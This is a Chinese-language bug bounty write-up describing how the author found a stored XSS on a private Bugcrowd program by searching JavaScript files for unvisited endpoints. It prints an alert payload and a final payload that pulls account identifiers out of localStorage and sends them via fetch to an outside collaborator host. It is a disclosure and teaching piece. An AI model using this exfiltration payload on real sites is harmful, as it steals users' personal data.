我是如何通过搜索 JS 文件来获得存储的 XSS

您好朋友，我要谈谈我在 Bugcrowd 的一个私人 bug 赏金计划中发现的一个简单的 Stored XSS 漏洞，方法是在 JS 文件中搜索任何隐藏的目录。

在程序应用程序中徘徊并尝试通过在每个输入字段中注入简单的 HTML 有效负载来测试每个功能并分析发送的 HTTP 请求以查看我可以从中获得或测试什么后，我最终发现了 2 个 CSRF 漏洞，但不幸的是 CSRF 超出了范围。

我尝试在 JS 文件中搜索我没有遇到的任何目录或任何 API 端点。通常，当我在 JS 文件中搜索此类内容时，我会使用 Chrome 的开发人员工具并搜索 API 端点的特定关键字或前缀，例如：

path:
url:
to:
api/
v1/

作为附加步骤，我可以选择我所在的任何目录或终端节点并搜索它，因此，如果我位于 （https://subdomain.redacted.com/en/account-profile），那么我会搜索 account-profile 终端节点并查看代码中是如何提及的，这就是我所做的。

我没有花太多时间，直到我在 JS 代码中找到了一堆端点：

我尝试了我找到的每个终端节点，其中一个我没有遇到的终端节点是 （/platform/apps/lighthouse-homepage），当我访问该终端节点时，我注意到我的一个 HTML 有效负载被渲染了：

我返回到 Customers 终端节点并尝试重新更新名称并再次检查以查看有效负载已更改，这向我保证它是可注入的此页面。我尝试了多个 XSS 有效负载来获取带有 cookie 的 ALERT，但有效的是 A Href 有效负载：

test<ahref="javascript:alert(1)">clickme</a>

遗憾的是，Cookie 中有 HTTPOnly 标志，因此它不会产生太大影响，至少会被接受为 P3。我不想就这样报告它，所以我试图升级到更有影响力的事情。

我查看的是 LocalStorage，localStorage 有很多条目，其中特别包含一个条目包含有关帐户的大量 PII 信息（电子邮件地址、名字和姓氏、用户 ID、用户权限等）。我尝试通过大量试验和错误再次重写有效负载，并与我亲爱的朋友 ChatGPT 讨论正则表达式以获得最终形式：

<ahref="javascript:var match=JSON.stringify(localStorage).match(/ZNavIdentity.userId=[^&]+&currEntityId=[^&]+/);if(match)fetch('https://#collab.oastify/?cookie='+encodeURIComponent(match[0]))">ttt</a>

有效负载只需将 localStorage 数据转换为 String，然后使用正则表达式搜索特定键，然后对其值进行编码，最后将其发送给我的协作者。localStorage 数据太大，所以我不能只发送所有数据，这就是为什么我尝试使用 regex 来获取包含敏感信息的所需密钥。

我报告了这个漏洞，幸运的是，一段时间后我被接受了并获得了奖励：

原文始发于微信公众号（安全狗的自我修养）：我是如何通过搜索 JS 文件来获得存储的 XSS